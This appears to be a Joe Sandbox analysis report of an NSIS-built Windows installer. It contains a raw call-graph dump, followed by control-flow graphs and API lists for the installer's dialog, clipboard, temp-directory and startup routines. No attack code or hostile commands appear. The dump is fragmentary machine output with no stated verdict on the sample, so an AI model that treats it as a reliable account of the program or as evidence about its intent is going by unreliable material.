3968->3968 3970 40677e 18 API calls 3969->3970 3971 406cae 3970->3971 3972 406cb7 DeleteFileW 3971->3972 3973 406cce 3971->3973 4013 403882 CoUninitialize 3972->4013 3974 406e4b 3973->3974 4017 406009 lstrcpynW 3973->4017 3980 4062d5 2 API calls 3974->3980 4002 406e58 3974->4002 3974->4013 3976 406cf9 3977 406d03 lstrcatW 3976->3977 3978 406d0d 3976->3978 3979 406d13 3977->3979 3981 406751 2 API calls 3978->3981 3983 406d23 lstrcatW 3979->3983 3984 406d19 3979->3984 3982 406e64 3980->3982 3981->3979 3987 406722 3 API calls 3982->3987 3982->4013 3986 406d2b lstrlenW FindFirstFileW 3983->3986 3984->3983 3984->3986 3985 4062a3 11 API calls 3985->4013 3988 406e3b 3986->3988 3992 406d52 3986->3992 3989 406e6e 3987->3989 3988->3974 3991 4062a3 11 API calls 3989->3991 3990 405d06 CharNextW 3990->3992 3993 406e79 3991->3993 3992->3990 3996 406e18 FindNextFileW 3992->3996 4005 406c9b 72 API calls 3992->4005 4012 404f72 25 API calls 3992->4012 4014 4062a3 11 API calls 3992->4014 4015 404f72 25 API calls 3992->4015 4016 406c68 42 API calls 3992->4016 4018 406009 lstrcpynW 3992->4018 4019 405e30 GetFileAttributesW 3992->4019 3994 405e30 2 API calls 3993->3994 3995 406e81 RemoveDirectoryW 3994->3995 3999 406ec4 3995->3999 4000 406e8d 3995->4000 3996->3992 3998 406e30 FindClose 3996->3998 3998->3988 4001 404f72 25 API calls 3999->4001 4000->4002 4003 406e93 4000->4003 4001->4013 4002->3985 4004 4062a3 11 API calls 4003->4004 4006 406e9d 4004->4006 4005->3992 4008 404f72 25 API calls 4006->4008 4010 406ea7 4008->4010 4011 406c68 42 API calls 4010->4011 4011->4013 4012->3996 4013->3491 4013->3492 4014->3992 4015->3992 4016->3992 4017->3976 4018->3992 4020 405e4d DeleteFileW 4019->4020 4021 405e3f SetFileAttributesW 4019->4021 4020->3992 4021->4020 4022->3653 4023->3677 4024->3696 4025->3696 4026->3685 4028 406ae7 GetShortPathNameW 4027->4028 4029 406abe 4027->4029 4030 406b00 4028->4030 4031 406c62 4028->4031 4053 405e50 GetFileAttributesW CreateFileW 4029->4053 4030->4031 4033 406b08 WideCharToMultiByte 4030->4033 4031->3706 4033->4031 4035 406b25 WideCharToMultiByte 4033->4035 4034 406ac7 CloseHandle GetShortPathNameW 4034->4031 4036 406adf 4034->4036 4035->4031 4037 406b3d wsprintfA 4035->4037 4036->4028 4036->4031 4038 406805 18 API calls 4037->4038 4039 406b69 4038->4039 4054 405e50 GetFileAttributesW CreateFileW 4039->4054 4041 406b76 4041->4031 4042 406b83 GetFileSize GlobalAlloc 4041->4042 4043 406ba4 ReadFile 4042->4043 4044 406c58 CloseHandle 4042->4044 4043->4044 4045 406bbe 4043->4045 4044->4031 4045->4044 4055 405db6 lstrlenA 4045->4055 4048 406bd7 lstrcpyA 4051 406bf9 4048->4051 4049 406beb 4050 405db6 4 API calls 4049->4050 4050->4051 4052 406c30 SetFilePointer WriteFile GlobalFree 4051->4052 4052->4044 4053->4034 4054->4041 4056 405df7 lstrlenA 4055->4056 4057 405dd0 lstrcmpiA 4056->4057 4058 405dff 4056->4058 4057->4058 4059 405dee CharNextA 4057->4059 4058->4048 4058->4049 4059->4056 4940 402a84 4941 401553 19 API calls 4940->4941 4942 402a8e 4941->4942 4943 401446 18 API calls 4942->4943 4944 402a98 4943->4944 4945 401a13 4944->4945 4946 402ab2 RegEnumKeyW 4944->4946 4947 402abe RegEnumValueW 4944->4947 4948 402a7e 4946->4948 4947->4945 4947->4948 4948->4945 4949 4029e4 RegCloseKey 4948->4949 4949->4945 4950 402c8a 4951 402ca2 4950->4951 4952 402c8f 4950->4952 4954 40145c 18 API calls 4951->4954 4953 401446 18 API calls 4952->4953 4956 402c97 4953->4956 4955 402ca9 lstrlenW 4954->4955 4955->4956 4957 402ccb WriteFile 4956->4957 4958 401a13 4956->4958 4957->4958 4959 40400d 4960 40406a 4959->4960 4961 40401a lstrcpynA lstrlenA 4959->4961 4961->4960 4962 40404b 4961->4962 4962->4960 4963 404057 GlobalFree 4962->4963 4963->4960 4964 401d8e 4965 40145c 18 API calls 4964->4965 4966 401d95 ExpandEnvironmentStringsW 4965->4966 4967 401da8 4966->4967 4969 401db9 4966->4969 4968 401dad lstrcmpW 4967->4968 4967->4969 4968->4969 4970 401e0f 4971 401446 18 API calls 4970->4971 4972 401e17 4971->4972 4973 401446 18 API calls 4972->4973 4974 401e21 4973->4974 4975 4030e3 4974->4975 4977 405f51 wsprintfW 4974->4977 4977->4975 4978 402392 4979 40145c 18 API calls 4978->4979 4980 402399 4979->4980 4983 4071f8 4980->4983 4984 406ed2 25 API calls 4983->4984 4985 407218 4984->4985 4986 407222 lstrcpynW lstrcmpW 4985->4986 4987 4023a7 4985->4987 4988 407254 4986->4988 4989 40725a lstrcpynW 4986->4989 4988->4989 4989->4987 4060 402713 4075 406009 lstrcpynW 4060->4075 4062 40272c 4076 406009 lstrcpynW 4062->4076 4064 402738 4065 40145c 18 API calls 4064->4065 4067 402743 4064->4067 4065->4067 4066 402752 4069 40145c 18 API calls 4066->4069 4071 402761 4066->4071 4067->4066 4068 40145c 18 API calls 4067->4068 4068->4066 4069->4071 4070 40145c 18 API calls 4072 40276b 4070->4072 4071->4070 4073 4062a3 11 API calls 4072->4073 4074 40277f WritePrivateProfileStringW 4073->4074 4075->4062 4076->4064 4990 402797 4991 40145c 18 API calls 4990->4991 4992 4027ae 4991->4992 4993 40145c 18 API calls 4992->4993 4994 4027b7 4993->4994 4995 40145c 18 API calls 4994->4995 4996 4027c0 GetPrivateProfileStringW lstrcmpW 4995->4996 4997 402e18 4998 40145c 18 API calls 4997->4998 4999 402e1f FindFirstFileW 4998->4999 5000 402e32 4999->5000 5005 405f51 wsprintfW 5000->5005 5002 402e43 5006 406009 lstrcpynW 5002->5006 5004 402e50 5005->5002 5006->5004 5007 401e9a 5008 40145c 18 API calls 5007->5008 5009 401ea1 5008->5009 5010 401446 18 API calls 5009->5010 5011 401eab wsprintfW 5010->5011 4287 401a1f 4288 40145c 18 API calls 4287->4288 4289 401a26 4288->4289 4290 4062a3 11 API calls 4289->4290 4291 401a49 4290->4291 4292 401a64 4291->4292 4293 401a5c 4291->4293 4341 406009 lstrcpynW 4292->4341 4340 406009 lstrcpynW 4293->4340 4296 401a62 4300 406038 5 API calls 4296->4300 4297 401a6f 4298 406722 3 API calls 4297->4298 4299 401a75 lstrcatW 4298->4299 4299->4296 4302 401a81 4300->4302 4301 4062d5 2 API calls 4301->4302 4302->4301 4303 405e30 2 API calls 4302->4303 4305 401a98 CompareFileTime 4302->4305 4306 401ba9 4302->4306 4310 4062a3 11 API calls 4302->4310 4314 406009 lstrcpynW 4302->4314 4320 406805 18 API calls 4302->4320 4327 405ca0 MessageBoxIndirectW 4302->4327 4331 401b50 4302->4331 4338 401b5d 4302->4338 4339 405e50 GetFileAttributesW CreateFileW 4302->4339 4303->4302 4305->4302 4307 404f72 25 API calls 4306->4307 4309 401bb3 4307->4309 4308 404f72 25 API calls 4311 401b70 4308->4311 4312 40337f 37 API calls 4309->4312 4310->4302 4315 4062a3 11 API calls 4311->4315 4313 401bc6 4312->4313 4316 4062a3 11 API calls 4313->4316 4314->4302 4322 401b8b 4315->4322 4317 401bda 4316->4317 4318 401be9 SetFileTime 4317->4318 4319 401bf8 CloseHandle 4317->4319 4318->4319 4321 401c09 4319->4321 4319->4322 4320->4302 4323 401c21 4321->4323 4324 401c0e 4321->4324 4326 406805 18 API calls 4323->4326 4325 406805 18 API calls 4324->4325 4328 401c16 lstrcatW 4325->4328 4329 401c29 4326->4329 4327->4302 4328->4329 4330 4062a3 11 API calls 4329->4330 4332 401c34 4330->4332 4333 401b93 4331->4333 4334 401b53 4331->4334 4335 405ca0 MessageBoxIndirectW 4332->4335 4336 4062a3 11 API calls 4333->4336 4337 4062a3 11 API calls 4334->4337 4335->4322 4336->4322 4337->4338 4338->4308 4339->4302 4340->4296 4341->4297 5012 40209f GetDlgItem GetClientRect 5013 40145c 18 API calls 5012->5013 5014 4020cf LoadImageW SendMessageW 5013->5014 5015 4030e3 5014->5015 5016 4020ed DeleteObject 5014->5016 5016->5015 5017 402b9f 5018 401446 18 API calls 5017->5018 5023 402ba7 5018->5023 5019 402c4a 5020 402bdf ReadFile 5022 402c3d 5020->5022 5020->5023 5021 401446 18 API calls 5021->5022 5022->5019 5022->5021 5029 402d17 ReadFile 5022->5029 5023->5019 5023->5020 5023->5022 5024 402c06 MultiByteToWideChar 5023->5024 5025 402c3f 5023->5025 5027 402c4f 5023->5027 5024->5023 5024->5027 5030 405f51 wsprintfW 5025->5030 5027->5022 5028 402c6b SetFilePointer 5027->5028 5028->5022 5029->5022 5030->5019 5031 402b23 GlobalAlloc 5032 402b39 5031->5032 5033 402b4b 5031->5033 5034 401446 18 API calls 5032->5034 5035 40145c 18 API calls 5033->5035 5036 402b41 5034->5036 5037 402b52 WideCharToMultiByte lstrlenA 5035->5037 5038 402b93 5036->5038 5039 402b84 WriteFile 5036->5039 5037->5036 5039->5038 5040 402384 GlobalFree 5039->5040 5040->5038 5042 4044a5 5043 404512 5042->5043 5044 4044df 5042->5044 5046 40451f GetDlgItem GetAsyncKeyState 5043->5046 5053 4045b1 5043->5053 5110 405c84 GetDlgItemTextW 5044->5110 5049 40453e GetDlgItem 5046->5049 5056 40455c 5046->5056 5047 4044ea 5050 406038 5 API calls 5047->5050 5048 40469d 5108 404833 5048->5108 5112 405c84 GetDlgItemTextW 5048->5112 5051 403d3f 19 API calls 5049->5051 5052 4044f0 5050->5052 5055 404551 ShowWindow 5051->5055 5058 403e74 5 API calls 5052->5058 5053->5048 5059 406805 18 API calls 5053->5059 5053->5108 5055->5056 5061 404579 SetWindowTextW 5056->5061 5066 405d59 4 API calls 5056->5066 5057 403dca 8 API calls 5062 404847 5057->5062 5063 4044f5 GetDlgItem 5058->5063 5064 40462f SHBrowseForFolderW 5059->5064 5060 4046c9 5065 40677e 18 API calls 5060->5065 5067 403d3f 19 API calls 5061->5067 5068 404503 IsDlgButtonChecked 5063->5068 5063->5108 5064->5048 5069 404647 CoTaskMemFree 5064->5069 5070 4046cf 5065->5070 5071 40456f 5066->5071 5072 404597 5067->5072 5068->5043 5073 406722 3 API calls 5069->5073 5113 406009 lstrcpynW 5070->5113 5071->5061 5077 406722 3 API calls 5071->5077 5074 403d3f 19 API calls 5072->5074 5075 404654 5073->5075 5078 4045a2 5074->5078 5079 40468b SetDlgItemTextW 5075->5079 5084 406805 18 API calls 5075->5084 5077->5061 5111 403d98 SendMessageW 5078->5111 5079->5048 5080 4046e6 5082 4062fc 3 API calls 5080->5082 5091 4046ee 5082->5091 5083 4045aa 5087 4062fc 3 API calls 5083->5087 5085 404673 lstrcmpiW 5084->5085 5085->5079 5088 404684 lstrcatW 5085->5088 5086 404730 5114 406009 lstrcpynW 5086->5114 5087->5053 5088->5079 5090 404739 5092 405d59 4 API calls 5090->5092 5091->5086 5096 406751 2 API calls 5091->5096 5097 404785 5091->5097 5093 40473f GetDiskFreeSpaceW 5092->5093 5095 404763 MulDiv 5093->5095 5093->5097 5095->5097 5096->5091 5099 4047e2 5097->5099 5100 4043ad 21 API calls 5097->5100 5098 404805 5115 403d85 KiUserCallbackDispatcher 5098->5115 5099->5098 5101 40141d 80 API calls 5099->5101 5102 4047d3 5100->5102 5101->5098 5104 4047e4 SetDlgItemTextW 5102->5104 5105 4047d8 5102->5105 5104->5099 5106 4043ad 21 API calls 5105->5106 5106->5099 5107 404821 5107->5108 5116 403d61 5107->5116 5108->5057 5110->5047 5111->5083 5112->5060 5113->5080 5114->5090 5115->5107 5117 403d74 SendMessageW 5116->5117 5118 403d6f 5116->5118 5117->5108 5118->5117 5119 402da5 5120 4030e3 5119->5120 5121 402dac 5119->5121 5122 401446 18 API calls 5121->5122 5123 402db8 5122->5123 5124 402dbf SetFilePointer 5123->5124 5124->5120 5125 402dcf 5124->5125 5125->5120 5127 405f51 wsprintfW 5125->5127 5127->5120 5128 4030a9 SendMessageW 5129 4030c2 InvalidateRect 5128->5129 5130 4030e3 5128->5130 5129->5130 5131 401cb2 5132 40145c 18 API calls 5131->5132 5133 401c54 5132->5133 5134 4062a3 11 API calls 5133->5134 5137 401c64 5133->5137 5135 401c59 5134->5135 5136 406c9b 81 API calls 5135->5136 5136->5137 4087 4021b5 4088 40145c 18 API calls 4087->4088 4089 4021bb 4088->4089 4090 40145c 18 API calls 4089->4090 4091 4021c4 4090->4091 4092 40145c 18 API calls 4091->4092 4093 4021cd 4092->4093 4094 40145c 18 API calls 4093->4094 4095 4021d6 4094->4095 4096 404f72 25 API calls 4095->4096 4097 4021e2 ShellExecuteW 4096->4097 4098 40221b 4097->4098 4099 40220d 4097->4099 4101 4062a3 11 API calls 4098->4101 4100 4062a3 11 API calls 4099->4100 4100->4098 4102 402230 4101->4102 5145 402238 5146 40145c 18 API calls 5145->5146 5147 40223e 5146->5147 5148 4062a3 11 API calls 5147->5148 5149 40224b 5148->5149 5150 404f72 25 API calls 5149->5150 5151 402255 5150->5151 5152 405c3f 2 API calls 5151->5152 5153 40225b 5152->5153 5154 4062a3 11 API calls 5153->5154 5157 4022ac CloseHandle 5153->5157 5160 40226d 5154->5160 5156 4030e3 5157->5156 5158 402283 WaitForSingleObject 5159 402291 GetExitCodeProcess 5158->5159 5158->5160 5159->5157 5162 4022a3 5159->5162 5160->5157 5160->5158 5161 406332 2 API calls 5160->5161 5161->5158 5164 405f51 wsprintfW 5162->5164 5164->5157 5165 4040b8 5166 4040d3 5165->5166 5174 404201 5165->5174 5170 40410e 5166->5170 5196 403fca WideCharToMultiByte 5166->5196 5167 40426c 5168 404276 GetDlgItem 5167->5168 5169 40433e 5167->5169 5171 404290 5168->5171 5172 4042ff 5168->5172 5175 403dca 8 API calls 5169->5175 5177 403d3f 19 API calls 5170->5177 5171->5172 5180 4042b6 6 API calls 5171->5180 5172->5169 5181 404311 5172->5181 5174->5167 5174->5169 5176 40423b GetDlgItem SendMessageW 5174->5176 5179 404339 5175->5179 5201 403d85 KiUserCallbackDispatcher 5176->5201 5178 40414e 5177->5178 5183 403d3f 19 API calls 5178->5183 5180->5172 5184 404327 5181->5184 5185 404317 SendMessageW 5181->5185 5188 40415b CheckDlgButton 5183->5188 5184->5179 5189 40432d SendMessageW 5184->5189 5185->5184 5186 404267 5187 403d61 SendMessageW 5186->5187 5187->5167 5199 403d85 KiUserCallbackDispatcher 5188->5199 5189->5179 5191 404179 GetDlgItem 5200 403d98 SendMessageW 5191->5200 5193 40418f SendMessageW 5194 4041b5 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5193->5194 5195 4041ac GetSysColor 5193->5195 5194->5179 5195->5194 5197 404007 5196->5197 5198 403fe9 GlobalAlloc WideCharToMultiByte 5196->5198 5197->5170 5198->5197 5199->5191 5200->5193 5201->5186 4196 401eb9 4197 401f24 4196->4197 4198 401ec6 4196->4198 4199 401f53 GlobalAlloc 4197->4199 4200 401f28 4197->4200 4201 401ed5 4198->4201 4208 401ef7 4198->4208 4202 406805 18 API calls 4199->4202 4207 4062a3 11 API calls 4200->4207 4212 401f36 4200->4212 4203 4062a3 11 API calls 4201->4203 4206 401f46 4202->4206 4204 401ee2 4203->4204 4209 402708 4204->4209 4214 406805 18 API calls 4204->4214 4206->4209 4210 402387 GlobalFree 4206->4210 4207->4212 4218 406009 lstrcpynW 4208->4218 4210->4209 4220 406009 lstrcpynW 4212->4220 4213 401f06 4219 406009 lstrcpynW 4213->4219 4214->4204 4216 401f15 4221 406009 lstrcpynW 4216->4221 4218->4213 4219->4216 4220->4206 4221->4209 5202 4074bb 5204 407344 5202->5204 5203 407c6d 5204->5203 5205 4073c2 GlobalFree 5204->5205 5206 4073cb GlobalAlloc 5204->5206 5207 407443 GlobalAlloc 5204->5207 5208 40743a GlobalFree 5204->5208 5205->5206 5206->5203 5206->5204 5207->5203 5207->5204 5208->5207

                                                                                                                                                                Executed Functions

                                                                                                                                                                Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295windowclipboardmemoryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 0 4050cd-4050e8 1 405295-40529c 0->1 2 4050ee-4051d5 GetDlgItem * 3 call 403d98 call 404476 call 406805 call 4062a3 GetClientRect GetSystemMetrics SendMessageW * 2 0->2 3 4052c6-4052d3 1->3 4 40529e-4052c0 GetDlgItem CreateThread CloseHandle 1->4 35 4051f3-4051f6 2->35 36 4051d7-4051f1 SendMessageW * 2 2->36 6 4052f4-4052fb 3->6 7 4052d5-4052de 3->7 4->3 11 405352-405356 6->11 12 4052fd-405303 6->12 9 4052e0-4052ef ShowWindow * 2 call 403d98 7->9 10 405316-40531f call 403dca 7->10 9->6 22 405324-405328 10->22 11->10 14 405358-40535b 11->14 16 405305-405311 call 403d18 12->16 17 40532b-40533b ShowWindow 12->17 14->10 20 40535d-405370 SendMessageW 14->20 16->10 23 40534b-40534d call 403d18 17->23 24 40533d-405346 call 404f72 17->24 27 405376-405397 CreatePopupMenu call 406805 AppendMenuW 20->27 28 40528e-405290 20->28 23->11 24->23 37 405399-4053aa GetWindowRect 27->37 38 4053ac-4053b2 27->38 28->22 39 405206-40521d call 403d3f 35->39 40 4051f8-405204 SendMessageW 35->40 36->35 41 4053b3-4053cb TrackPopupMenu 37->41 38->41 46 405253-405274 GetDlgItem SendMessageW 39->46 47 40521f-405233 ShowWindow 39->47 40->39 41->28 43 4053d1-4053e8 41->43 45 4053ed-405408 SendMessageW 43->45 45->45 48 40540a-40542d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 45->48 46->28 51 405276-40528c SendMessageW * 2 46->51 49 405242 47->49 50 405235-405240 ShowWindow 47->50 52 40542f-405458 SendMessageW 48->52 53 405248-40524e call 403d98 49->53 50->53 51->28 52->52 54 40545a-405474 GlobalUnlock SetClipboardData CloseClipboard 52->54 53->46 54->28
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?,00000403), ref: 0040512F
                                                                                                                                                                • GetDlgItem.USER32(?,000003EE), ref: 0040513E
                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00405196
                                                                                                                                                                • GetSystemMetrics.USER32(00000015), ref: 0040519E
                                                                                                                                                                • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
                                                                                                                                                                • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
                                                                                                                                                                • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
                                                                                                                                                                • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
                                                                                                                                                                • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
                                                                                                                                                                • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
                                                                                                                                                                • ShowWindow.USER32(?,00000008), ref: 0040523A
                                                                                                                                                                • GetDlgItem.USER32(?,000003EC), ref: 0040525B
                                                                                                                                                                • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
                                                                                                                                                                • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
                                                                                                                                                                • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
                                                                                                                                                                • GetDlgItem.USER32(?,000003F8), ref: 0040514D
                                                                                                                                                                  • Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6
                                                                                                                                                                  • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                • GetDlgItem.USER32(?,000003EC), ref: 004052AB
                                                                                                                                                                • CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
                                                                                                                                                                • CloseHandle.KERNELBASE(00000000), ref: 004052C0
                                                                                                                                                                • ShowWindow.USER32(00000000), ref: 004052E7
                                                                                                                                                                • ShowWindow.USER32(?,00000008), ref: 004052EC
                                                                                                                                                                • ShowWindow.USER32(00000008), ref: 00405333
                                                                                                                                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
                                                                                                                                                                • CreatePopupMenu.USER32 ref: 00405376
                                                                                                                                                                • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 0040539E
                                                                                                                                                                • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
                                                                                                                                                                • SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
                                                                                                                                                                • OpenClipboard.USER32(00000000), ref: 0040540B
                                                                                                                                                                • EmptyClipboard.USER32 ref: 00405411
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00405427
                                                                                                                                                                • SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0040545D
                                                                                                                                                                • SetClipboardData.USER32(0000000D,00000000), ref: 00405468
                                                                                                                                                                • CloseClipboard.USER32 ref: 0040546E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
                                                                                                                                                                • String ID: @rD$New install of "%s" to "%s"${
                                                                                                                                                                • API String ID: 2110491804-2409696222
                                                                                                                                                                • Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
                                                                                                                                                                • Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
                                                                                                                                                                • Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
                                                                                                                                                                • Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59
                                                                                                                                                                Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304filestringcomCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 305 403883-403919 #17 SetErrorMode OleInitialize call 4062fc SHGetFileInfoW call 406009 GetCommandLineW call 406009 GetModuleHandleW 312 403923-403937 call 405d06 CharNextW 305->312 313 40391b-40391e 305->313 316 4039ca-4039d0 312->316 313->312 317 4039d6 316->317 318 40393c-403942 316->318 319 4039f5-403a0d GetTempPathW call 4037cc 317->319 320 403944-40394a 318->320 321 40394c-403950 318->321 328 403a33-403a4d DeleteFileW call 403587 319->328 329 403a0f-403a2d GetWindowsDirectoryW lstrcatW call 4037cc 319->329 320->320 320->321 323 403952-403957 321->323 324 403958-40395c 321->324 323->324 326 4039b8-4039c5 call 405d06 324->326 327 40395e-403965 324->327 326->316 342 4039c7 326->342 331 403967-40396e 327->331 332 40397a-40398c call 403800 327->332 345 403acc-403adb call 403859 CoUninitialize 328->345 346 403a4f-403a55 328->346 329->328 329->345 333 403970-403973 331->333 334 403975 331->334 343 4039a1-4039b6 call 403800 332->343 344 40398e-403995 332->344 333->332 333->334 334->332 342->316 343->326 361 4039d8-4039f0 call 407d6e call 406009 343->361 348 403997-40399a 344->348 349 40399c 344->349 359 403ae1-403af1 call 405ca0 ExitProcess 345->359 360 403bce-403bd4 345->360 351 403ab5-403abc call 40592c 346->351 352 403a57-403a60 call 405d06 346->352 348->343 348->349 349->343 358 403ac1-403ac7 call 4060e7 351->358 362 403a79-403a7b 352->362 358->345 365 403c51-403c59 360->365 366 403bd6-403bf3 call 4062fc * 3 360->366 361->319 370 403a62-403a74 call 403800 362->370 371 403a7d-403a87 362->371 372 403c5b 365->372 373 403c5f 365->373 397 403bf5-403bf7 366->397 398 403c3d-403c48 ExitWindowsEx 366->398 370->371 384 403a76 370->384 378 403af7-403b11 lstrcatW lstrcmpiW 371->378 379 403a89-403a99 call 40677e 371->379 372->373 378->345 383 403b13-403b29 CreateDirectoryW SetCurrentDirectoryW 378->383 379->345 390 403a9b-403ab1 call 406009 * 2 379->390 387 403b36-403b56 call 406009 * 2 383->387 388 403b2b-403b31 call 406009 383->388 384->362 404 403b5b-403b77 call 406805 DeleteFileW 387->404 388->387 390->351 397->398 402 403bf9-403bfb 397->402 398->365 401 403c4a-403c4c call 40141d 398->401 401->365 402->398 406 403bfd-403c0f GetCurrentProcess 402->406 412 403bb8-403bc0 404->412 413 403b79-403b89 CopyFileW 404->413 406->398 411 403c11-403c33 406->411 411->398 412->404 414 403bc2-403bc9 call 406c68 412->414 413->412 415 403b8b-403bab call 406c68 call 406805 call 405c3f 413->415 414->345 415->412 425 403bad-403bb4 CloseHandle 415->425 425->412
                                                                                                                                                                APIs
                                                                                                                                                                • #17.COMCTL32 ref: 004038A2
                                                                                                                                                                • SetErrorMode.KERNELBASE(00008001), ref: 004038AD
                                                                                                                                                                • OleInitialize.OLE32(00000000), ref: 004038B4
                                                                                                                                                                  • Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                                                                                                                  • Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                                                                                                                  • Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                                                                                                                • SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC
                                                                                                                                                                  • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                                                                                                                • GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
                                                                                                                                                                • CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
                                                                                                                                                                • GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
                                                                                                                                                                • GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
                                                                                                                                                                • lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
                                                                                                                                                                • DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
                                                                                                                                                                • CoUninitialize.COMBASE(?), ref: 00403AD1
                                                                                                                                                                • ExitProcess.KERNEL32 ref: 00403AF1
                                                                                                                                                                • lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
                                                                                                                                                                • lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
                                                                                                                                                                • CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
                                                                                                                                                                • DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
                                                                                                                                                                • CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
                                                                                                                                                                • CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
                                                                                                                                                                • ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
